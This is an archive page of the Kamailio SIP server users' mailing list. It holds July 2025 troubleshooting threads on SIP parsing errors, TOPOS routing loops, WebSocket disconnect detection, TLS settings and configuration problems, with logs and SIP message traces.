2130705919 192.168.56.1 4030 typ host a=candidate:Hac1fd001 1 UDP 2130705663 172.31.208.1 4030 typ host a=candidate:Hc0a80181 2 UDP 2130706430 192.168.1.129 4001 typ host a=candidate:Hc0a8014d 2 UDP 2130706174 192.168.1.77 4001 typ host a=candidate:Hc0a83801 2 UDP 2130705918 192.168.56.1 4001 typ host a=candidate:Hac1fd001 2 UDP 2130705662 172.31.208.1 4001 typ host Does anyone know where the problem may be?

4 5

kamailio 5.8.6 sanity problem
by ale Gural 31 Jul '25

31 Jul '25

Hello, when kamailio 5.8.6 got the follow SIP message. INVITE sip:026774800@kamnet:5060;user=phone SIP/2.0 Via: SIP/2.0/UDP 10.25.206.73:5060;branch=z9hG4bK6204h710copg0h2s34a0.1 From: <sip:506555021@kamnet :5060;transport=UDP;user=phone>;tag=BN-1778920881-1-1752995491-343935404 To: <urn:service:sos.police@kamnet> Call-ID: 5f6d530-13f3cbf9-fb215-7f1546651f58-4d0f660a-13c4-764 CSeq: 1 INVITE X-SessionId: -1778920881 User-Agent: BN4000-3.9.2-706 Max-Forwards: 60 Supported: norefersub,timer,100rel,199 P-Asserted-Identity: <sip:506555021@hotmobile.co.il:5060 ;transport=UDP;user=phone> P-Asserted-Identity: <tel:506555021;phone-context=+972> Contact: <sip:10.25.206.73:5060;yop=00.00.84CE62D9.0000.7009;transport=udp> P-Early-Media: supported P-Access-Network-Info: 3GPP-E-UTRAN-FDD;utran-cell-id-3gpp=425074efe02c6a01 Content-Disposition: session;handling=required Allow: INVITE,CANCEL,ACK,BYE,OPTIONS,INFO,PRACK,UPDATE,REFER,NOTIFY Content-Type: application/sdp Content-Length: 207 v=0 o=BN4000 0 0 IN IP4 10.9.21.56 s=- c=IN IP4 10.9.21.56 t=0 0 m=audio 54732 RTP/AVP 8 0 101 a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=maxptime:20 a=ptime:20 the TO To: <urn:service:sos.police@kamnet>, the problem is kamailio 5.8.6 response with 400 bad to header but kamailio 5.7.5 continue with normal call. here you can see the sanity log for both kamailio: kamailio 5.8.6 Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:254]: check_ruri_sip_version(): check_ruri_sip_version entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:278]: check_ruri_sip_version(): check_ruri_sip_version passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:286]: check_ruri_scheme(): check_ruri_scheme entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:305]: check_ruri_scheme(): check_ruri_scheme passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:327]: check_required_headers(): check_required_headers entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:350]: check_required_headers(): check_required_headers passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:519]: check_cseq_method(): check_cseq_method entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:553]: check_cseq_method(): check_cseq_method passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:563]: check_cseq_value(): check_cseq_value entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:591]: check_cseq_value(): check_cseq_value passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:601]: check_cl(): check_cl entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:626]: check_cl(): check_cl passed Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:643]: check_expires_value(): check_expires_value entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:679]: check_expires_value(): no expires header found Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:776]: check_parse_uris(): check_parse_uris entered Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:780]: check_parse_uris(): parsing ruri Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:793]: check_parse_uris(): looking up From header Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: sanity [sanity.c:808]: check_parse_uris(): looking up To header Jul 20 17:08:15 vm-tkamprov-n 671587 DEBUG: <core> [core/parser/parse_uri.c:1369]: parse_uri(): bad char '@' in state 5 parsed: <urn:service:sos.police> (22) / <urn:service:sos.police@kamnet> (29) Jul 20 17:08:15 vm-tkamprov-n 671587 ERROR: <core> [core/parser/parse_to.c:81]: parse_to_uri(): failed to parse To uri Jul 20 17:08:15 vm-tkamprov-n 671587 WARNING: sanity [sanity.c:810]: check_parse_uris(): invalid To header or uri kamailio 5.7.5 Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:253]: check_ruri_sip_version(): check_ruri_sip_version entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:277]: check_ruri_sip_version(): check_ruri_sip_version passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:285]: check_ruri_scheme(): check_ruri_scheme entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:304]: check_ruri_scheme(): check_ruri_scheme passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:326]: check_required_headers(): check_required_headers entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:349]: check_required_headers(): check_required_headers passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:518]: check_cseq_method(): check_cseq_method entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:552]: check_cseq_method(): check_cseq_method passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:562]: check_cseq_value(): check_cseq_value entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:590]: check_cseq_value(): check_cseq_value passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:600]: check_cl(): check_cl entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:625]: check_cl(): check_cl passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:638]: check_expires_value(): check_expires_value entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:674]: check_expires_value(): no expires header found Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:771]: check_parse_uris(): check_parse_uris entered Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:775]: check_parse_uris(): parsing ruri Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:788]: check_parse_uris(): looking up From header Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:803]: check_parse_uris(): looking up To header Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity.c:853]: check_parse_uris(): check_parse_uris passed Jul 20 17:00:51 vm-tkamprov-n 662105 DEBUG: sanity [sanity_mod.c:252]: w_sanity_check(): sanity checks result: 1 Thanks

4 8

Postgres connections optimization #4342
by Stephane Savonitto 30 Jul '25

30 Jul '25

Hello, On P-CSCF when running we have 200+ permanent connection to postgres db, even if there is no traffic. Is there a way to manage connections dynamically using a pool like using PgBouncer ? Regards, Stéphane

5 8

Kamailio DNS functions available for HTTP too?
by Sergio Charrua 29 Jul '25

29 Jul '25

Hi all, I was looking at the following document kamailio/doc/tutorials/dns.txt at master · kamailio/kamailio <https://github.com/kamailio/kamailio/blob/master/doc/tutorials/dns.txt> and wondering if these functionalities are only available for SIP (as it mentions TM module) or can they be used also for HTTP Requests, using HTTP Async Client module. Can anyone clarify ? The final goal is to have HTTP Async Requests sent to a domain name that can resolve to the next available IP address of the HTTP server (for failover): if address #1 is down, send the http request to the next available server. Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

1 0

reading out "response" and "integrity-protected" from "Authorization" header field
by Valentin Christoph 29 Jul '25

29 Jul '25

Hi all, Again an IMS question. The 3GPP TS 24.229 specifies some additional parameters for the "Authorization" header field in REGISTER requests, e.g. the "integrity-protected" parameter and the "response" parameter. Now the question: is it the only way to read out these parameters from the "Authorization" header field, by implementing new pseudo variables, e.g. $aip and $are, or is there an easy way using $hdr() from the configuration? I want to avoid sophisticated regular expressions. Thanks, Christoph

2 1

Unable to find MOH files
by 17603019528＠163.com 28 Jul '25

28 Jul '25

Hi everyone When I use the mohqueue module, I get the following error message: ``` 0(7901) ERROR: mohqueue [mohq_db.c:484]: update_mohq_lst(): Queue,Field (abc,mohdir): Unable to find MOH files (/var/kamailio/MOH//HeWillCall.8.*)! 0(7901) ERROR: mohqueue [mohqueue_mod.c:400]: mod_init(): Unable to load rtpproxy_answer! 0(7901) ERROR: <core> [core/sr_module.c:1039]: init_mod(): Error while initializing module mohqueue (/usr/local/lib64/kamailio/modules/mohqueue.so) ``` here is the audio file: ``` ll /var/kamailio/MOH/HeWillCall.8 -rwxrwxrwx. 1 root root 550080 Jul 28 13:53 /var/kamailio/MOH/HeWillCall.8 ``` kamailio version: kamailio 5.8.5 (x86_64/linux)

4 4

Re: Delivery Status Notification (Delay)
by palany 26 Jul '25

26 Jul '25

XxSent from my Galaxy -------- Original message --------From: David Villasmil via sr-users <sr-users(a)lists.kamailio.org> Date: 09/07/2025 18:09 (GMT+02:00) To: "Kamailio (SER) - Users Mailing List" <sr-users(a)lists.kamailio.org> Cc: David Villasmil <david.villasmil.work(a)gmail.com> Subject: [SR-Users] Re: Delivery Status Notification (Delay) i'm seeing this for some reason, anyone knows why?Regards,David Villasmilemail: david.villasmil.work(a)gmail.comOn Wed, Jul 9, 2025 at 3:34 PM Mail Delivery Subsystem <mailer-daemon(a)googlemail.com> wrote: Delivery incomplete There was a temporary problem delivering your message to users(a)lists.openser.org. Gmail will retry for 21 more hours. You'll be notified if the delivery fails permanently. The response from the remote server was: 454 4.7.1 : Relay access denied ---------- Forwarded message ----------From: David Villasmil <david.villasmil.work(a)gmail.com>To: "Kamailio (SER) - Users Mailing List" <sr-users(a)lists.kamailio.org>, openser users <users(a)lists.openser.org>Cc: Bcc: Date: Mon, 7 Jul 2025 12:44:38 +0200Subject: Stir/ShakenHello,I've seen people wondering how to implement Stir/shaken on Kamailio and OpenSIPS. It occurred to me that making a docker image would help a lot of people so I did. You can find it in https://hub.docker.com/repository/docker/davidcsi/kamailio-stirshaken/gener… and in the description you can read how it works and how to use it.Hope it helps! David Villasmilemail: david.villasmil.work(a)gmail.com

1 0

Error: receive_fd(): EOF on 18
by Fernando Lopes 25 Jul '25

25 Jul '25

Hello everyone, I'm getting this during start up error and I can't figure out what it means. I've searched for a solution but haven't found anything relevant. Also I don't see any useful debug messages during to complement this error. 19(61) CRITICAL: <core> [core/pass_fd.c:281]: receive_fd(): EOF on 18 0(2) ALERT: <core> [main.c:792]: handle_sigs(): child process 49 exited by a signal 11 0(2) ALERT: <core> [main.c:796]: handle_sigs(): core was generated 0(2) INFO: <core> [main.c:819]: handle_sigs(): terminating due to SIGCHLD Any tips for debugging or finding the problem. Thank you.

3 4

Re: [sr-dev] git:master:79f6439f: tls: added support for tls keys log
by Sergei Safarov 24 Jul '25

24 Jul '25

I think exist is more elegant way to export encyptions keys to the file Need to start Kamailio with defined SSLKEYLOGFIL=/path/here/to/file environment variable This I have tested for TLS 1.2 and TLS 1.3. All works perfectly More details you can find at https://www.youtube.com/watch?v=Cq6yj9se9M4&t=1850s Probable this change do not required because allow secret keys to logs. On Thu, 2025-07-24 at 12:42 +0200, Daniel-Constantin Mierla via sr-dev wrote: > Module: kamailio > Branch: master > Commit: 79f6439f16f6b715858414689c7c04cf22164ace > URL: > https://github.com/kamailio/kamailio/commit/79f6439f16f6b715858414689c7c04c… > > Author: Daniel-Constantin Mierla <miconda(a)gmail.com> > Committer: Daniel-Constantin Mierla <miconda(a)gmail.com> > Date: 2025-07-24T12:28:13+02:00 > > tls: added support for tls keys log > > - they can be printed to syslog (NOTICE level) or file > > --- > > Modified: src/modules/tls/tls_domain.c > Modified: src/modules/tls/tls_mod.c > Modified: src/modules/tls/tls_util.c > Modified: src/modules/tls/tls_util.h > > --- > > Diff: > https://github.com/kamailio/kamailio/commit/79f6439f16f6b715858414689c7c04c… > Patch: > https://github.com/kamailio/kamailio/commit/79f6439f16f6b715858414689c7c04c… > > _______________________________________________ > Kamailio - Development Mailing List -- sr-dev(a)lists.kamailio.org > To unsubscribe send an email to sr-dev-leave(a)lists.kamailio.org > Important: keep the mailing list in the recipients, do not reply only > to the sender!

1 0

Error: different number of preprocessor directives
by Fernando Lopes 24 Jul '25

24 Jul '25

Hello everyone, I'm having an issue with my Kamailio config where I'm getting the following error: ERROR: bad config file (0 errors) (parsing code: 0) 0(2) ERROR: <core> [core/ppcfg.c:276]: pp_ifdef_level_error(): different number of preprocessor directives: 1 more #!if[n]def as #!endif I've gone through the config up and down so many times and can't seem to find the problem. I have a definitions.cfg file where I define all the variables, and I’ve made sure that every #!ifdef WITH_SOMETHING has a corresponding definition. I also ran this command (recommended by GPT): grep -E '#!ifn?def|#!endif' /usr/local/etc/kamailio/kamailio.cfg It shows matching numbers of #!ifdef and #!endif, and I’ve checked it manually several times — everything looks fine. Any tips for debuging or finding the problem. #!ifdef WITH_CDRS #!endif #!ifdef WITH_DEBUG #!endif #!ifdef WITH_TLS #!endif #!ifdef WITH_NAT #!endif #!ifdef WITH_TLS #!endif #!ifdef WITH_FAIL2BAN #!ifdef WITH_ANTIFLOOD #!endif #!endif #!ifdef WITH_DISPATCHER #!endif #!ifdef WITH_RESPONSE_STATS #!endif #!ifdef WITH_HOMER #!endif #!ifdef WITH_CDRS #!endif #!ifdef WITH_RTPENGINE #!endif #!ifdef WITH_HTTP #!endif #!ifdef WITH_WEBSOCKETS #!endif #!ifdef WITH_NAT #!ifdef WITH_RTPENGINE #!endif #!endif #!ifdef WITH_TLS #!endif #!ifdef WITH_ANTIFLOOD #!endif #!ifdef WITH_FAIL2BAN #!endif #!ifdef WITH_DISPATCHER #!endif #!ifdef WITH_HOMER #!endif #!ifdef WITH_CDRS #!endif #!ifdef WITH_FAIL2BAN #!endif #!ifdef WITH_RTPENGINE #!endif #!ifdef WITH_HOMER #!endif #!ifdef WITH_RTPENGINE #!endif #!ifdef WITH_ANTIFLOOD #!endif #!ifdef WITH_NATSIPPING #!endif #!ifdef WITH_NOAUTH_PRIVATE_NET #!endif #!ifdef WITH_AUTH #!endif #!ifdef WITH_NAT #!endif #!ifdef WITH_NAT #!endif #!ifdef WITH_NAT #!endif #!ifdef WITH_RTPENGINE #!endif #!ifdef WITH_DISPATCHER #!endif #!ifdef WITH_WEBSOCKETS #!endif #!ifdef WITH_HTTP #!ifdef WITH_WEBSOCKETS #!endif #!endif #!ifdef WITH_RTPENGINE #!endif Thank you.

7 7

rtpengine error: no rtpp_set_list->rset_first
by disa_369＠msn.com 24 Jul '25

24 Jul '25

Hello to everyone. I deployed Kamailio on Debian system. Install was successfull. I have the task to use Kamailio as proxy between Avaya PBX and Videoconference System. Outgoing calls only from IPPhone ----- Avaya PBX ---sip----> Kamailio -----sip----> Video System-IVR Now Im trying setup rtpengine for proxy media . Kamailio has some errors by starting service. ERROR: rtpengine [rtpengine.c:3131]: select_rtpp_set(): no rtpp_set_list->rset_first Jun 06 12:07:00 zaks-sbc01-op /usr/sbin/kamailio[635658]: NOTICE: rtpengine [rtpengine.c:1815]: mod_init(): Default rtpp set 0 NOT found Missed out on something in config?

3 7

not enough memory for safe operation
by David Cunningham 24 Jul '25

24 Jul '25

Hello, Would anyone have insight into the following errors? We saw several thousand of them appear in a short period of time: Jul 24 10:41:36 vpbx11 /sbin/kamailio[54805]: ERROR: tls [tls_server.c:192]: tls_complete_init(): tls: ssl bug #1491 workaround: not enough memory for safe operation: shm=67537152 threshold1=76546048 Jul 24 10:41:36 vpbx11 /sbin/kamailio[54805]: ERROR: tls [tls_server.c:192]: tls_complete_init(): tls: ssl bug #1491 workaround: not enough memory for safe operation: shm=67536032 threshold1=76546048 However there should have been plenty of shared memory available. These were take around 30 minutes later: # kamctl stats shmem { "jsonrpc": "2.0", "result": [ "shmem:fragments = 407525", "shmem:free_size = 4117928416", "shmem:max_used_size = 4256807952", "shmem:real_used_size = 177038880", "shmem:total_size = 4294967296", "shmem:used_size = 111803416" ], "id": 56272 } # kamcmd pkg.stats pid 54805 { entry: 121 pid: 54805 rank: -1 used: 1249880 free: 6475408 real_used: 1913200 total_size: 8388608 total_frags: 1185 } # ps -ef | grep kama | wc -l 148 Thanks in advance for any tips or insight! -- David Cunningham, Voisonics Limited http://voisonics.com/ USA: +1 213 221 1092 New Zealand: +64 (0)28 2558 3782

1 0

Basic Configuration
by smh2017＠zoho.com 23 Jul '25

23 Jul '25

I am trying to set up a very basic SIP server. I can only establish external-to-internal calls using the following parameters with the default configuration files: RTP Engine Config File interface=server_local_ip!public_domain_name Kamailio Config File alias="public_domain_name" listen=server_local_ip:5061 adverise public_domain_name:5061 I cannot establish internal-to-external calls nor external-to-external calls with the above configuration settings. In these failed calls, the answering external callee UA sends 200-OK, but the caller UA does not ACK. In looking at the sip trace messages, no alias for the public ip address is appended to the Contact header of the external UA's 200-OK SIP message. So perhaps the caller doesn't know where to send the ACK. The network setup has the local UAs and the Kamailio server behind a port-forwarded NAT routher. External (internet) UAs are also behind NAT routers. Is there a change or addition to the above config snippets that would solve the problem, or do I need to add some instruction to the routing section? Finally, does anyone sell or otherwise offer basic Kamailio/RTPEngine configuration files that work more or less "out-of-the box" for the described setup? Thanks, Steve Hamilton

2 3

Configure TLS 1.3 cipher suites
by caique.cornelio＠mitel.com 22 Jul '25

22 Jul '25

Is the removal of a specific TLS 1.3 cipher supported as today? I am working on making the ciphers accepted configurable and i know it is possible with TLS <1.2, wondering if it is the same case with 1.3.

3 2

Best Book Recommendation for Learning SIP/VoIP
by Fernando Lopes 22 Jul '25

22 Jul '25

Hi everyone, I'm not new but also not a professional to the world of SIP and VoIP but feeling lost, and I'm looking to get a solid foundational understanding. I was wondering if anyone could recommend a good book that explains SIP in a clear and practical way? Whether it's a textbook, a practical guide, or even an eBook, I’d really appreciate your recommendations! Thanks in advance!

4 3

Setting Via IP inside script logic
by Nick Jones 22 Jul '25

22 Jul '25

G'day all, I'm working on a scenario with a Kamailio box with a private IP, with a public IP 1:1 NATed to it (but the VM does not see the public IP on the NICs). When forwarding requests to some hosts I want to set the Via address to be the public IP, but when forwarding requests to other hosts I want to leave the Via address to the internal IP address. If I set the `Advertise` parameter in the bind config, this sets the Via to the advertised IP, but I'm seeing that address used even when communicating with hosts on the private IP. Of course if the IP was on the VM itself I could use $fs or force_send_socket, but that only works if I've got the public IP bound, which I can't do. Is there a simple way to set / override what IP gets baked into the Via header? Cheers, Nick

3 3

Kamailio as a Stateless Smart SIP Proxy
by Antonio 19 Jul '25

19 Jul '25

Hi everyone, Do we have a ready-to-use Kamailio role or configuration for: *“Kamailio as a Stateless Smart SIP Proxy”*, Specifically one that uses *Contact Header Encoding*? That is — a proxy where Kamailio does not store registration state, but encodes the client’s IP and port into the Contact header during REGISTER , and later decodes it from the INVITE to forward the call back to the client. Thanks in advance! -- *Antony* satskiy.a(a)gmail.com

4 7

TLS certificates kamailio & Asterisk
by Fernando Lopes 18 Jul '25

18 Jul '25

Hello everyone, I have a quick question. I'm working on a local project where Kamailio acts as a proxy and Asterisk handles the media. Both are running in separate Docker containers. For tls communication between the two, should I generate a separate TLS certificate for each container, or create only one certificate and use it for both? Thanks in advance!

2 1

cannot clone xavi from non existing parsed_pv_headers
by Mathias Schneuwly 18 Jul '25

18 Jul '25

Hi I'm getting the error "Jul 15 15:15:54 ttel /usr/sbin/kamailio[812316]: ERROR: {1 382 BYE 860005579-5060-39(a)BA.A.B.BCJ} pv_headers [pvh_xavp.c:485]: pvh_clone_branch_xavi(): cannot clone xavi from non existing parsed_pv_headers" on BYE messages. Interestingly, only on the first attempt to read the from user. I have the following snippet in my `ksr_branch_manage` KSR.log('notice', f'ksr_branch_manage: 1') KSR.log('notice', f'ksr_branch_manage: 2: {KSR.pv.get('$x_fU')}') KSR.log('notice', f'ksr_branch_manage: 3: {KSR.pv.get('$x_fU')}') The result in the log is Jul 15 15:25:03 ttel /usr/sbin/kamailio[816424]: NOTICE: {1 402 BYE 1640171511-5060-41(a)BA.A.B.BCJ} <core> [core/kemi.c:155]: sr_kemi_core_log(): ksr_branch_manage: 1 Jul 15 15:25:03 ttel /usr/sbin/kamailio[816424]: ERROR: {1 402 BYE 1640171511-5060-41(a)BA.A.B.BCJ} pv_headers [pvh_xavp.c:485]: pvh_clone_branch_xavi(): cannot clone xavi from non existing parsed_pv_headers Jul 15 15:25:03 ttel /usr/sbin/kamailio[816424]: NOTICE: {1 402 BYE 1640171511-5060-41(a)BA.A.B.BCJ} <core> [core/kemi.c:155]: sr_kemi_core_log(): ksr_branch_manage: 2: 200102 Jul 15 15:25:03 ttel /usr/sbin/kamailio[816424]: NOTICE: {1 402 BYE 1640171511-5060-41(a)BA.A.B.BCJ} <core> [core/kemi.c:155]: sr_kemi_core_log(): ksr_branch_manage: 3: 200102 Even if there is an ERROR, it seems to be able to read the from user from pv_headers. Is this error just informative and uses the wrong severity, or what does it mean? I have no modparam for pv_headers. It uses the default configuration and I'm on 5.8.6. Regards Mathias

1 1

TOPOS module routing loop with rogue Route headers
by David Tek 17 Jul '25

17 Jul '25

Hello, Setup: I activated the TOPOS module in my setup that looks something like this: SIP Device ---> Proxy1(w/ topos) ---> Proxy2(no topos) ---> ??? ---> Freeswitch. I am using Kamailio 6.0.1 (or 6.0.2, not sure). Both my proxies and the other nodes I don't control in ??? part all add Record-Route/Route headers for in-dialog requests. So an INVITE coming from the SIP Device will go through these proxies, on the 200 OK there are 3+ Record-Route headers which are consumed by TOPOS on Proxy1. With my baresip and Yealink phones, the phones send a 200 OK with NO Route headers and the Route headers are readded by the TOPOS module before it hits the routes in kamailio. Problem: Some SIP devices(I used an older Aastra device to reproduce the issue) like to add a Route header with the target proxy, and so Kamailio receives something like this(some headers stripped for brevity): ACK sip:atpsh-68769b30-2b-1@192.168.0.25 SIP/2.0 Via: SIP/2.0/UDP 192.168.34.122:5060;branch=z9hG4bKe3a6fe355f721ae5b Route: <sip:banana.mydomain.tld;lr> From: "12015550000" <sip:12015550000@banana.mydomain.tld>;tag=ba05cb9826 To: <sip:13105550000@banana.mydomain.tld:5060;user=phone>;tag=1SvNyXFeQjUaN Call-ID: 149a3a344dda2a1c CSeq: 12259 ACK With this, Kamailio receives the packet, internally somewhere runs the myself check and sees banana.mydomain.tld isn't a local domain. So it routes to that domain, which happens to resolve to this same Kamailio. So Kamailio routes the packet to itself until Max-Forwards hits 0 and fails. Solutions I tried: So I thought maybe alias_subdomains would help here: loadmodule "corex.so" modparam("corex", "alias_subdomains", "mydomain.tld") I ran this and found that it fixed the routing loop on the ACK, but then I got a routing loop on the BYE instead. So then I thought, maybe I can squeeze this out earlier: event_route[topos:msg-incoming] { if ( proto != TLS || !$tls_peer_verified || $Rp != "5061" ) { xlog("L_NOTICE", "=======> User packet this one $rm\n"); remove_hf("Route"); } else{ xlog("L_NOTICE", "=======> Server packet this one $rm\n"); } This didn't work, it only ever is invoked for SIP OPTIONS. So I tried with event_route[topos:msg-receiving] and saw messages like this: 16(1347) CRITICAL: <core> [core/ip_addr.c:234]: ip_addr2sbuf(): unknown address family 0 I guess $Rp isn't available in this event route. and $proto is always null. If I disable TOPOS completely, the Aastra phone will load the ACK with the Route headers defined by the Record-Route headers in the 200 OK and the call completes normally. I added this to the top of my request_route: xlog("L_NOTICE","$si - $rm - $hfl(Route) $hfl(Via)\n"); and the only route header that appeared for the ACK packet was the single route header. It would seem TOPOS can be 'defeated' by a rogue Route header. I started reading through the source code on this but could not pinpoint any code that would 'not restore TOPOS stripped headers when a rogue Route header appears because the Route header doesn't match the myself condition of Kamailio'. I even tried adding to topos:msg-sending: append_hf("Route: <sip:invalid.tld>\r\n"); To trick the phone into something that is predictable so I can strip it before TOPOS parses the headers. I'm not sure what to do next, I don't want to go back to TOPOH because I need the packet size savings(some users have issues with big packets ). I've seen other user-agents in the wild beyond these Aastras add Route headers in unexpected places, so this is not a single issue. I even went so far as to ask AI some help, but it just hallucinated the entire time. (AI says this should say 'I also explored AI assistance but didn't find relevant solutions for this specific scenario.' ). Any suggestions on what to do next ? Thanks, David

1 1

Are there any mistakes in the document?
by 13715209697＠139.com 17 Jul '25

17 Jul '25

Hi, team https://www.kamailio.org/wikidocs/cookbooks/6.0.x/pseudovariables/#timename… mday - return the day of month (int 0-59) Are there any mistakes in the document? 1-31? By the way, adding nanoseconds would be even better. Han

1 0

SDP Issue on NAT environment
by Nathan C 16 Jul '25

16 Jul '25

Hello, I have a kamailio on SITE A using a public IP. I'm trying to setup another kamailio on SITE B with NAT. When I try to make a call from SITE B to SITE A, the call is initiated but when comes the SDP my equipment on SITE B does not reply to SDP sent by kamailio on SITE A. I made some test and use only Public IP between the 2 sites and it works properly. So I think that I have a problem on my NAT configuration or maybe I'm missing something. Can someone help me one this problem ? Do you have an idea on what could be blocking. Thank in advance for your help. Regards, Nathan

2 2

Re: event_route[tcp:closed] and event_route[websocket:closed] not triggered on sudden WebSocket connection loss
by Kouadio Stéphane Fabien Brou 15 Jul '25

15 Jul '25

Thank for your reply, this is the pcap file

3 2

event_route[tcp:closed] and event_route[websocket:closed] not triggered on sudden WebSocket connection loss
by fabienbrou＠alcall.net 14 Jul '25

14 Jul '25

Hello Kamailio community, I'm running Kamailio 5.8 with websocket and tcpops modules loaded. My setup: - websocket module configured with keepalive enabled: modparam("websocket", "keepalive_mechanism", 1) modparam("websocket", "keepalive_interval", 10) modparam("websocket", "keepalive_timeout", 5) modparam("websocket", "keepalive_processes", 2) modparam("websocket", "timer_interval", 5) - tcpops module loaded with closed_event enabled: loadmodule "tcpops.so" modparam("tcpops", "closed_event", 1) - event_route[tcp:closed] implemented to catch socket closure and clean dialogs - dialog module loaded with dlg_flag = 4, and dialog tracking active on INVITE requests What works: - When I manually kill the WebSocket client, the event_route[tcp:closed] is triggered immediately. What doesn't work: - When the client loses network connectivity abruptly (e.g. mobile device loses 4G signal or Wi-Fi disconnects), the event_route[tcp:closed] is NOT triggered for several minutes (likely until TCP timeout). - I've tried reducing websocket keepalive_timeout to 5 seconds, but it does not speed up detection of lost connections. - I have confirmed that TCP keepalive settings on the OS are at default values and have not yet been tuned. My questions: 1. Is there any known limitation or delay in Kamailio's tcpops or websocket modules that could cause delayed detection of abrupt WebSocket disconnects? 2. Are there any best practices or additional mechanisms recommended to handle abrupt WebSocket disconnections faster, especially for SIP dialog cleanup? 3. Would adding SIP OPTIONS ping help detect dead clients sooner, and how would you recommend implementing this in Kamailio? 4. Any other suggestions to improve detection and cleanup of dead WebSocket SIP clients? Thanks in advance for your help and advice. Best regards, Fabien Brou

2 2

Kamailio WSS to Asterisk (UDP) MESSAGE Handling Issue
by Fernando Lopes 14 Jul '25

14 Jul '25

Hello everyone, I'm running into a problem with SIP traffic coming in over WSS to Kamailio. As far as I know, Kamailio can't forward traffic to Asterisk over TLS, so I'm currently using UDP to send traffic from Kamailio to Asterisk via the dispatcher module. The main SIP methods involved are REGISTER and MESSAGE. Kamailio successfully receives and forwards both methods to Asterisk, though I’m not entirely sure how the message routing is working behind the scenes — but somehow, it works. The problem arises when Asterisk sends a response to a MESSAGE. In my Asterisk logs, I can see that the response is being generated, but it seems to get lost or mishandled when Kamailio tries to process or forward it. To clarify the setup: ->Kamailio is listening on 10.5.0.8:5001 (WSS) ->It forwards traffic to Asterisk at 10.5.0.2:5060 (UDP) ->The issue specifically happens with MESSAGE replies, not REGISTER I suspect this might have something to do with mismatched transport protocols (WSS vs. UDP) or incorrect handling of routing headers in Kamailio. Any insights on how to debug or fix this properly would be greatly appreciated! Thanks in advance. My Code: https://docs.google.com/document/d/e/2PACX-1vSpRQmgZv1CTJW4IJ86a3SoSgPqmThM… Logs: <--- Transmitting SIP request (560 bytes) to UDP:10.5.0.8:5001 ---> MESSAGE sip:User1@10.5.0.8:5001;transport=ws;x-ast SIP/2.0 Via: SIP/2.0/UDP 10.5.0.2:5060;rport;branch=z9hG4bKPj8d3db1ed-d98e-4c87-ad71-ef43f47b1801 From: "Max" <sip:1@172.31.217.74>;tag=ae0b9d4d-89b9-489a-b5ef-3fb04fe6dd97 To: "ChatApp Max" <sip:User1@10.5.0.8;x-ast> Contact: <sip:User1@10.5.0.2:5060> Call-ID: 0ea7b15e-f176-452a-813d-684b01923c87 CSeq: 24741 MESSAGE Max-Forwards: 70 User-Agent: Asterisk PBX 18.24.3 Content-Type: text/plain Content-Length: 74 Compreendo, por favor, avança com a tua pergunta. Estou aqui para ajudar. <--- Received SIP response (480 bytes) from UDP:10.5.0.8:5001 ---> SIP/2.0 500 I'm terribly sorry, server error occurred (1/SL) Via: SIP/2.0/UDP 10.5.0.2:5060;rport=5060;branch=z9hG4bKPj8d3db1ed-d98e-4c87-ad71-ef43f47b1801;received=10.5.0.2 From: "Max" <sip:1@172.31.217.74>;tag=ae0b9d4d-89b9-489a-b5ef-3fb04fe6dd97 To: "ChatApp Max" <sip:User1@10.5.0.8;x-ast>;tag=19162a7003f0e5d10acb0ff84f0e52ca.d3fdd014 Call-ID: 0ea7b15e-f176-452a-813d-684b01923c87 CSeq: 24741 MESSAGE Server: kamailio (5.7.6 (x86_64/linux)) 